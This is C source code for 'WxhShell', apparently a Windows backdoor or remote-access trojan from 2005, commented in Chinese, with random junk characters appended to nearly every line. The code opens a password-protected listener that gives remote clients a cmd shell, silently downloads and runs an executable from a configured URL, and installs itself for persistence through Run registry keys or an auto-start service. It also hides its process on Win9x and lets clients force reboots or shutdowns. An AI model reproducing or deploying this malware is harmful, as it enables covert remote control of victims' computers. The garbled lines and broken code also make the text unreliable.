    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7Q 0 M3m  
    if(Boot(SHUTDOWN)) Q7"KgqpQ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~bigaY  
    else { .oaW#f}0P  
    closesocket(wsh); un W{ZfEC  
    ExitThread(0); p tv  
    } 6:-qL}  
    break; a}M7"v9  
    } bk2 HAG  
  // 获取shell GQ2&D}zh  
  case 's': { PLFM[t/  
    CmdShell(wsh); #8;^ys1f  
    closesocket(wsh); tI*u"%#t  
    ExitThread(0); >|6[uKrO  
    break; Y'Wj7P  
  } ujmW {()  
  // 退出 ^zs CF0  
  case 'x': { `r_qvrC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iBN,YPo~  
    CloseIt(wsh); C0i:*1  
    break; ?Sn$AS I  
    } ;L(W'+  
  // 离开 Z:O24{ro5  
  case 'q': { 7fI[yCh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kzJNdYtdH  
    closesocket(wsh); jt Q2vJ-  
    WSACleanup(); U+@yx>!  
    exit(1); ^=OjsN  
    break;  t Z\  
        } f:Nfw+/q  
  } Ip.5I!h[Xb  
  } Q`5jEtu#,  
UQ'D-eK  
  // 提示信息 |oSyyDYWP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FLEf(  
} :/~`"`#1  
  } Haj`mc!<D0  
>bz}IcZP  
  return; e<~uU9 lg1  
} }`5%2iG  
fAUtqkB  
// shell模块句柄 "uTzmm$  
int CmdShell(SOCKET sock) \dIIZSN  
{ "h$A.S  
STARTUPINFO si; {* >$aI  
ZeroMemory(&si,sizeof(si)); mEz&:A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j,6dGb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q$:T<mFK$  
PROCESS_INFORMATION ProcessInfo; nHD4J;l  
char cmdline[]="cmd"; F3H)B:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SQ>.P  
  return 0; ~S"G~a(&j  
} #4%,09+  
k-e_lSYk&c  
// 自身启动模式 /Wg$.<!5 }  
int StartFromService(void) g@MTKqs  
{ ReZ|q5*  
typedef struct "E/F{6NH  
{ wF?THkdFo  
  DWORD ExitStatus; TL]2{rf~  
  DWORD PebBaseAddress; >/1.VT\E  
  DWORD AffinityMask; {-Yp~HQF  
  DWORD BasePriority; }(op;7  
  ULONG UniqueProcessId; g3LAi#m  
  ULONG InheritedFromUniqueProcessId; N=tyaS(YJ  
}   PROCESS_BASIC_INFORMATION; +s1+;VUs3  
/Lu wPM  
PROCNTQSIP NtQueryInformationProcess; jTSw0\}  
*ubLuC+b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9g^@dfBV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :#d$[:r#  
D'Byl,W$   
  HANDLE             hProcess; Uk|Xs~@#E  
  PROCESS_BASIC_INFORMATION pbi; aina6@S  
&IXr*I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sKn>K/4JZ  
  if(NULL == hInst ) return 0; :E4i@ O7%  
cU%#oEMf<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uZm<:d2%)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A-ir   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); > ^n'  
FEU$D\1y  
  if (!NtQueryInformationProcess) return 0; Lkqu"V  
2#T|+mKxZM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r'{pTgm#  
  if(!hProcess) return 0; kRSu6r9  
'PV,c|f>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JS({au  
WQiEQ>6(t(  
  CloseHandle(hProcess); .LnXKRd{  
I0m/   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /A|ofAr)  
if(hProcess==NULL) return 0; "^22 Y}VB  
;\4}Hcg  
HMODULE hMod; 5xTm]  
char procName[255]; _V-@95fK  
unsigned long cbNeeded; ;[g v-H  
+Nc|cj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?P{C=Td2z  
P1Re7/  
  CloseHandle(hProcess); 47`{ e_YP0  
t!D=oBCro  
if(strstr(procName,"services")) return 1; // 以服务启动 Q}\,7l  
7 &GhJ^Ku  
  return 0; // 注册表启动 pfZn<n5p  
} 6S"bW)O  
r;upJbSX  
// 主模块 o=;.RYi  
int StartWxhshell(LPSTR lpCmdLine) ik7#Og~ 3  
{ gqZ7Pro.  
  SOCKET wsl; uZd)o AB  
BOOL val=TRUE; ;)"r^M)):  
  int port=0; MSRIG-  
  struct sockaddr_in door; -Ah\a0z  
{\C$Bz  
  if(wscfg.ws_autoins) Install(); wpx,~`&  
)z7. S"U  
port=atoi(lpCmdLine); (t<i? >p  
g>OGh o  
if(port<=0) port=wscfg.ws_port; k?|VFh1  
ScZ$&n  
  WSADATA data; N;r,B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rAP+nh ans  
cX *  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "pMXTRb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); la|#SS95  
  door.sin_family = AF_INET; u+8_et5T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R;I}#b cJ  
  door.sin_port = htons(port); 6<rc]T'|  
"i_tO+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iLv"ZqGrw  
closesocket(wsl); ^4 es  
return 1; 5>h2WL  
} //H+S q66  
_or$^.='  
  if(listen(wsl,2) == INVALID_SOCKET) { -?LSw  
closesocket(wsl); Z#7HuAF{]  
return 1; +1h^9 Y'  
} bTHJbpt*-  
  Wxhshell(wsl); GN=F-*2  
  WSACleanup(); ~;bwfp_  
w<\N-J|m  
return 0; dn%/SJC  
#?}Y~Oe  
} Y$oBsg\v  
8ne5 B4  
// 以NT服务方式启动 6\~m{@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oY+RG|j@  
{ A{&Etu(K  
DWORD   status = 0; e|+uLbN&;c  
  DWORD   specificError = 0xfffffff; Sq(=Bn6E  
~5p `Kg*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [}P|OCW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EMs$~CL4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #cjB <APY  
  serviceStatus.dwWin32ExitCode     = 0; El"XF?OgpP  
  serviceStatus.dwServiceSpecificExitCode = 0; DU}q4u@ )  
  serviceStatus.dwCheckPoint       = 0; !X[lNt O  
  serviceStatus.dwWaitHint       = 0; jWP(7}U  
b-~`A;pr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pjjs'A*y  
  if (hServiceStatusHandle==0) return; r8Gq\ ^  
6"ZQN)7  
status = GetLastError(); 1<bSHn9  
  if (status!=NO_ERROR) z^Oiwzo  
{ Z [68ji]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <;v{`@\j{  
    serviceStatus.dwCheckPoint       = 0; x6:$lZ(  
    serviceStatus.dwWaitHint       = 0; "* 'rzd  
    serviceStatus.dwWin32ExitCode     = status; M{O2O(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5 0~L(<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s2w .V O  
    return; '|WMt g  
  } $t}L|"=8X  
ap;*qiNFQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i$%;z~#wW  
  serviceStatus.dwCheckPoint       = 0; 63:ZDQ  
  serviceStatus.dwWaitHint       = 0; S&.DpsK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G V0q?  
} &w/aQs~  
U$0#j  
// 处理NT服务事件,比如:启动、停止 __3Cjo^6&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @["Vzg!I6"  
{ y}#bCRy~.A  
switch(fdwControl) D }b+#G(m[  
{ eN}FBX#'  
case SERVICE_CONTROL_STOP: zZ;tSKL  
  serviceStatus.dwWin32ExitCode = 0; 7(gQ6?KsZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V4V TP]'n  
  serviceStatus.dwCheckPoint   = 0; "8{u_+_B*  
  serviceStatus.dwWaitHint     = 0; QKCk. 0Xe  
  { Vfc 9 +T+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {d^&$~  
  } %v}:#_va]  
  return; .HGEddcC  
case SERVICE_CONTROL_PAUSE: hQ<"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w9.r`_-  
  break; Zu~ #d)l3N  
case SERVICE_CONTROL_CONTINUE: eZP"M 6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EkXns%][L  
  break; AQ+w%>G6  
case SERVICE_CONTROL_INTERROGATE: YW/YeID  
  break; 3f M  
}; HC!$Z`}Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RJBNY;0  
} C(W?)6?  
IybMO5Mwn  
// 标准应用程序主函数 yKfRwO[ j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;=UrIA@y;=  
{ W P.6ea7k  
4(B,aU>y  
// 获取操作系统版本 zFQxW4G  
OsIsNt=GetOsVer(); m$[ \(Z(/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ih1SN,/  
=;@5Ue J  
  // 从命令行安装 Y\9uR!0  
  if(strpbrk(lpCmdLine,"iI")) Install(); TS=p8@w}  
6Y}#vZ  
  // 下载执行文件 2psLX  
if(wscfg.ws_downexe) { ,F:l?dfB\I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oVmGZhkA@'  
  WinExec(wscfg.ws_filenam,SW_HIDE); |y;+xEl6  
} "d.qmM  
! daXF&q  
if(!OsIsNt) { NGS/lKz  
// 如果时win9x,隐藏进程并且设置为注册表启动 %)q5hB  
HideProc(); b/O~f8t  
StartWxhshell(lpCmdLine); ;Iv)J|*  
} q[dls_  
else chfj|Ce]x  
  if(StartFromService()) $ n 7dIE  
  // 以服务方式启动 8 kd  
  StartServiceCtrlDispatcher(DispatchTable); (h`||48d  
else gX6'!}G8]  
  // 普通方式启动 m_(+-G  
  StartWxhshell(lpCmdLine); WW==  
=xa`)#4(  
return 0; \[Rh\v&  
} W@pVP4F0xM  
| L fH,6  
H;IG\k6C  
7,Z%rqf\)  
=========================================== G}f.fR Y  
H!oP!rzEo  
y4M<L. RO  
H> _%ZXL  
YSv\T '3  
B6=8cf"i  
" C=9|K`g5 R  
~}wPiu,  
#include <stdio.h> P9Rq'u  
#include <string.h> T7!a@  
#include <windows.h> hQl3F6-ud  
#include <winsock2.h> 46}/C5  
#include <winsvc.h> PtmdUHvD  
#include <urlmon.h> }bix+/]  
FV:{lC{h~  
#pragma comment (lib, "Ws2_32.lib") HOu<,9?>Q  
#pragma comment (lib, "urlmon.lib") rD<@$KpP  
gD&%$&q  
#define MAX_USER   100 // 最大客户端连接数 zy5@K)  
#define BUF_SOCK   200 // sock buffer \{NeDv{A  
#define KEY_BUFF   255 // 输入 buffer >JC.qjA  
3- LO  
#define REBOOT     0   // 重启 ~u}[VP  
#define SHUTDOWN   1   // 关机 wm@1jLjrQ  
WWq)Cw R  
#define DEF_PORT   5000 // 监听端口 M,cI0i  
MLa]s* ; d  
#define REG_LEN     16   // 注册表键长度 !;fkc0&!  
#define SVC_LEN     80   // NT服务名长度 P1z6 sG G  
!|Vjv}UO  
// 从dll定义API OL=IUg"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _|H]X+|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "kf7??Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m,*t}j0 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Pn!{ bU3@  
i3#]_ p{  
// wxhshell配置信息 yUNl)E  
struct WSCFG { vxbO>c   
  int ws_port;         // 监听端口 Ct #hl8b:  
  char ws_passstr[REG_LEN]; // 口令 #T !YFMh;  
  int ws_autoins;       // 安装标记, 1=yes 0=no |{ *ce<ip5  
  char ws_regname[REG_LEN]; // 注册表键名 /Q{Jf+>R>  
  char ws_svcname[REG_LEN]; // 服务名 0jj }jw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hhfqb"2on  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 80:na7$)#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -41L^Di\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .}a@OLJd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y"2#bq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9$#2+G!J  
V3F2Z_VH2  
}; p[g!LD  
bumS>:  
// default Wxhshell configuration !m]76=@  
struct WSCFG wscfg={DEF_PORT, >I!dJH/gj  
    "xuhuanlingzhe", a=C?fh  
    1, k]I<%  
    "Wxhshell", Yxi.A$g  
    "Wxhshell", <0&];5 on  
            "WxhShell Service", _K/h/!\n  
    "Wrsky Windows CmdShell Service", @R`OAd y  
    "Please Input Your Password: ", ?WUu@Z  
  1, #(XP=PUj  
  "http://www.wrsky.com/wxhshell.exe", 3MkF  
  "Wxhshell.exe" ?i9LqHL  
    }; Lqwc:%Y:_  
g($y4~#  
// 消息定义模块 N2q'$o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~-'nEATE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MPM_/dn-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X0P<ifIv  
char *msg_ws_ext="\n\rExit."; Pm" ,7  
char *msg_ws_end="\n\rQuit."; L;grH5K5  
char *msg_ws_boot="\n\rReboot..."; Pf(z0o&  
char *msg_ws_poff="\n\rShutdown..."; AL,|%yup  
char *msg_ws_down="\n\rSave to "; 7j._3'M=Kc  
K$f~Fft  
char *msg_ws_err="\n\rErr!"; ob-be2EysH  
char *msg_ws_ok="\n\rOK!"; O% 9~1_  
97<Y. 0  
char ExeFile[MAX_PATH]; w[]7{ D];  
int nUser = 0; +O\6p  
HANDLE handles[MAX_USER]; U_oMR$/Z  
int OsIsNt; l_QpPo!a  
ihs@ 'jh  
SERVICE_STATUS       serviceStatus; 3osAWSCEL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oh,Nu_!  
>/evL /  
// 函数声明 ) ~ C)4  
int Install(void); Sh{odrMj*  
int Uninstall(void); |)GE7y0Q  
int DownloadFile(char *sURL, SOCKET wsh); cl14FrpYu  
int Boot(int flag); ?XW+&!ar  
void HideProc(void); 2nOQ48ha T  
int GetOsVer(void); RwY) O5  
int Wxhshell(SOCKET wsl); ]Alu~Dw  
void TalkWithClient(void *cs); # Wh"_zpM+  
int CmdShell(SOCKET sock); rK)%n!Z  
int StartFromService(void); S(/@.gI:f  
int StartWxhshell(LPSTR lpCmdLine); #WfJz}P,!  
Neey myW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sF(U?)48  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8Ck:c45v  
$6ITa}o  
// 数据结构和表定义 }7Pd\tG]  
SERVICE_TABLE_ENTRY DispatchTable[] = ( 3=.3[  
{ JWH}0+1*  
{wscfg.ws_svcname, NTServiceMain}, WYI? M  
{NULL, NULL} X @r5^A[9  
}; PvKe|In(  
TC J\@|yw  
// 自我安装 = `70]%  
int Install(void) .RoO 6:T6  
{ Y@;bA=Du}  
  char svExeFile[MAX_PATH]; /kNr5s  
  HKEY key; vC+mC4~/(  
  strcpy(svExeFile,ExeFile); RI-whA8+  
o$Hc5W([Z  
// 如果是win9x系统,修改注册表设为自启动 evtn/.kDR  
if(!OsIsNt) { 42Ql^ka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RC\TPG/8!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ib uA~\5  
  RegCloseKey(key); + ZGOv,l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NE3G!qxL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X9zTz2 Fy  
  RegCloseKey(key); >8jDW "Ua  
  return 0; CbK7="48  
    } /WMG)#kw'  
  } F'|,(P  
} ^3AJYu  
else { x"_f$,:!  
YHCXVu<.b  
// 如果是NT以上系统,安装为系统服务 y 0M&Bh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ${e(#bvGZ  
if (schSCManager!=0) tHhY1[A8m  
{ 9$S2:2(G  
  SC_HANDLE schService = CreateService 0*q~(.>a  
  ( Dt.OZ4w5  
  schSCManager, 4Mg09  
  wscfg.ws_svcname, I>G)wRpfR'  
  wscfg.ws_svcdisp, 1gH5#_ ?  
  SERVICE_ALL_ACCESS, [NaU\;w\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V}@c5)(j  
  SERVICE_AUTO_START, bCA3w%,kM  
  SERVICE_ERROR_NORMAL, H$\?D+xlf  
  svExeFile, hoSk  
  NULL, QIo|t!7F  
  NULL, 7Zr jU {  
  NULL, t1IC0'o-  
  NULL, 2c9@n9Vx3a  
  NULL {zmo7~=  
  ); I caIB)  
  if (schService!=0) f{^n<\Jh  
  { ( |O;Ci  
  CloseServiceHandle(schService); _VR4 |)1g  
  CloseServiceHandle(schSCManager); XTHrf'BU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'KyT]OObS  
  strcat(svExeFile,wscfg.ws_svcname); K\n %&w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $m{\<A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LhV4 ^\+  
  RegCloseKey(key); j>0S3P,  
  return 0; G|Q}.v  
    } F-_RL-hbN%  
  } Rp.@  
  CloseServiceHandle(schSCManager); -c|O!Lc-  
} @{t^8I#]  
} @RT yCr  
MS,H12h  
return 1; bYG}CO  
} L\hPw{)  
tk_y~-xz  
// 自我卸载 o&I 0*~ sN  
int Uninstall(void) y]cx}9~  
{ vR+(7^Yy  
  HKEY key; )Q7;)iPY#  
{"4t`dM  
if(!OsIsNt) { Q"Q|]f*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q@Q|oB0W$)  
  RegDeleteValue(key,wscfg.ws_regname); f ( UcJx  
  RegCloseKey(key); Fi*6ud\n!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NW!e@;E+i  
  RegDeleteValue(key,wscfg.ws_regname); Km\M /j|  
  RegCloseKey(key); Uc7X)  
  return 0; x1A^QIuxO  
  } z[OW%(vrm  
} H]@Zp"7  
} ^{Syg;F=  
else { Nnv&~ D>  
,0#OA* 0B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `.[hOQ7  
if (schSCManager!=0) r!Mr\  
{ Q9W*)gBv n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HjnHl-  
  if (schService!=0) -pkeEuwv{  
  { Td8'z'  
  if(DeleteService(schService)!=0) { t(}&<<1Bz  
  CloseServiceHandle(schService); kC LeHH|K  
  CloseServiceHandle(schSCManager); j|+B|   
  return 0; ?&/9b)cS  
  } aY3kww`  
  CloseServiceHandle(schService); G-,PsXSwe  
  } QC ]z--wu  
  CloseServiceHandle(schSCManager); p'xj:bB  
} DYzVV(_J"  
} `{tykYwCLc  
PB }$.8  
return 1; <NS= <'U  
} xbn+9b  
d@#=cvW  
// 从指定url下载文件 5'oWd e  
int DownloadFile(char *sURL, SOCKET wsh) *%8,G'"r?  
{ '7_'s1  
  HRESULT hr; _^&oNm1  
char seps[]= "/"; y>wr $  
char *token; sU+~#K$ b  
char *file; s,` n=#  
char myURL[MAX_PATH]; UDp"+nS  
char myFILE[MAX_PATH]; %>24.i"l  
_#N~$   
strcpy(myURL,sURL); GI6 EZ}.MZ  
  token=strtok(myURL,seps); 1l1X1  
  while(token!=NULL) vLpE|QZs  
  { LU;ma((yy[  
    file=token; c}rRNS$F  
  token=strtok(NULL,seps); ;{HxY98Q  
  } -AcQ_dS  
C"0gAN  
GetCurrentDirectory(MAX_PATH,myFILE); bS0^AVA  
strcat(myFILE, "\\"); Zsf<)Vx  
strcat(myFILE, file); /B}]{bcp$  
  send(wsh,myFILE,strlen(myFILE),0); O\G%rp L$w  
send(wsh,"...",3,0); *sL'6"#Cre  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CsuSg*#X+  
  if(hr==S_OK) :_^9.`  
return 0; %J+$p\c  
else "gK2!N|#  
return 1; sy>Pn  
q$EVd9aN  
} k^ZUOWmU|  
F}.Af=<Q  
// 系统电源模块 39k P)cD  
int Boot(int flag) y/kCzDT,  
{ gvsS:4N"Nq  
  HANDLE hToken; ZE}m\|$  
  TOKEN_PRIVILEGES tkp; ~r>WnI:vg  
gb@!Co3  
  if(OsIsNt) { IP{Cj=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bv9;q3]z-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U ][.ioc  
    tkp.PrivilegeCount = 1; V(w[`^I>~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^P{'l^CVX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *23  
if(flag==REBOOT) { q)@.f.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O`@$YXuD  
  return 0; EDnmYaa)dZ  
} tgrQ$Yjk  
else { <v5toyA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EH,uX{`e  
  return 0; /~AwX8X  
} IM +Dm  
  } VN$#y4  
  else { @br%:Nt  
if(flag==REBOOT) { L^ +0K}eD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 75^-93  
  return 0; (:[><-h.  
} zIdQ^vm8Q  
else { }i/{8Ou W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0Fi7|  
  return 0; ~zRW*pd  
} ?BWWb   
} ?V7[,I1?  
dC.uK^FuJ  
return 1; 9&2kuLp?P  
} <@zOdW|{:  
Gjv'$O2_  
// win9x进程隐藏模块 9V"^F.>  
void HideProc(void) nLQ X? :  
{ uO":\<1#  
)<3WVvB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3>S.wyMR4  
  if ( hKernel != NULL ) H;$w^Tr  
  { 5[Q44$a{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B}?/oZW 4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &/7GhZRt  
    FreeLibrary(hKernel); Sfvi|kZX  
  } O#k?c }  
`qfVgT=2  
return; jj.yB#T  
} >,~JQ%1  
xJO[pT v  
// 获取操作系统版本 5Impv3qaZ  
int GetOsVer(void) u |f h!-  
{ !Noabt  
  OSVERSIONINFO winfo; qv,|7yw{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OZISh?  
  GetVersionEx(&winfo); tcRK\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y:v0& 9L  
  return 1; #z5'5|3  
  else 1F$a My?  
  return 0; G LE`ba  
} bAW;2 NB  
;>CmVC'/  
// 客户端句柄模块 Kh5:+n_X  
int Wxhshell(SOCKET wsl) Ay2|@1e  
{ *1elUI2Rg  
  SOCKET wsh; !\!fd(BN  
  struct sockaddr_in client; ?m~;*wn%  
  DWORD myID; xy|;WB  
63k8j[$  
  while(nUser<MAX_USER) IAtc^'l#  
{ C6/,-?%)  
  int nSize=sizeof(client); x^C,xP[#Y;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^ qE4:|e  
  if(wsh==INVALID_SOCKET) return 1; )@Bt[mfrVD  
"@Te!.~A.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k_y@vW3  
if(handles[nUser]==0) {&2$1p/9'  
  closesocket(wsh); ETtK%%F0  
else <89 js87  
  nUser++; \x|(`;{  
  } g/Qr] :;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )Wc#?K  
kmP0gT{Sj  
  return 0; 0TVO'$Gvi  
} H9 't;Do  
|5Z@7  
// 关闭 socket 9|OQHy  
void CloseIt(SOCKET wsh) LoTq2/  
{ +\}]`uS:  
closesocket(wsh); fEgZ/p!g  
nUser--; KH@M & >=^  
ExitThread(0); us5`?XeX]  
} O'!k$iJNb  
CBO8^M<K  
// 客户端请求句柄 #" f:m`  
void TalkWithClient(void *cs) Fmsg*s7w  
{ a_pkUOu6  
sG^b_3o)A  
  SOCKET wsh=(SOCKET)cs; :v&GA s6H  
  char pwd[SVC_LEN]; _ b#9^2o  
  char cmd[KEY_BUFF]; FiIN \  
char chr[1]; !H.&"~w@  
int i,j; IOfo]p-  
~v<r\8`OI2  
  while (nUser < MAX_USER) { r_R|.fl<[  
rT"8e*LT  
if(wscfg.ws_passstr) { BD9` +9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;((gmg7,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )6!SFj>.O  
  //ZeroMemory(pwd,KEY_BUFF); O >'o;0  
      i=0; RtF_p {s  
  while(i<SVC_LEN) { KsHovv-A  
q A G0t{K  
  // 设置超时 ~_h4|vG  
  fd_set FdRead; u/k#b2BqL  
  struct timeval TimeOut; Ar>Om!]=v  
  FD_ZERO(&FdRead); A$^}zP'u0<  
  FD_SET(wsh,&FdRead); G19FSLrtA  
  TimeOut.tv_sec=8; _c%~\LOk  
  TimeOut.tv_usec=0; g fO.Ky6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U); ,Opr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N|Rlb5\  
O9g{XhMv>f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b z<wihZj  
  pwd=chr[0]; xu_Tocvop  
  if(chr[0]==0xd || chr[0]==0xa) { "qwRcuHY  
  pwd=0; kQ4%J, 7e4  
  break; Ij4\*D!  
  } ( XE`,#  
  i++; ~A"ODLgU9  
    } {;z3$/JB  
)V9$ P)  
  // 如果是非法用户,关闭 socket 5*4P_q(AxD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TmO\!`  
} 0w(<pNA  
 ~LkReQI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r^Gl~sX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5"@<7/2qI  
{uw'7 d/  
while(1) { bZ%[ON5OY  
NB16O !r  
  ZeroMemory(cmd,KEY_BUFF); 17nWrTxR$  
I80.|KIv  
      // 自动支持客户端 telnet标准   |F6C&GNYT  
  j=0; a@m>S$S  
  while(j<KEY_BUFF) { /T_tI R>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X'iki4  
  cmd[j]=chr[0]; NUm3E4  
  if(chr[0]==0xa || chr[0]==0xd) { BHU(Hd  
  cmd[j]=0; Z., Pl  
  break; EmY8AN(*  
  } jixU9]  
  j++; fzSZ>I0R  
    } M@csB.'  
4W^0K|fq  
  // 下载文件 +IJpqFH  
  if(strstr(cmd,"http://")) { ;'cv?3Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lu-owP7nB  
  if(DownloadFile(cmd,wsh)) @NX^__ sa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MA"iM+Ar  
  else U:8^>_  
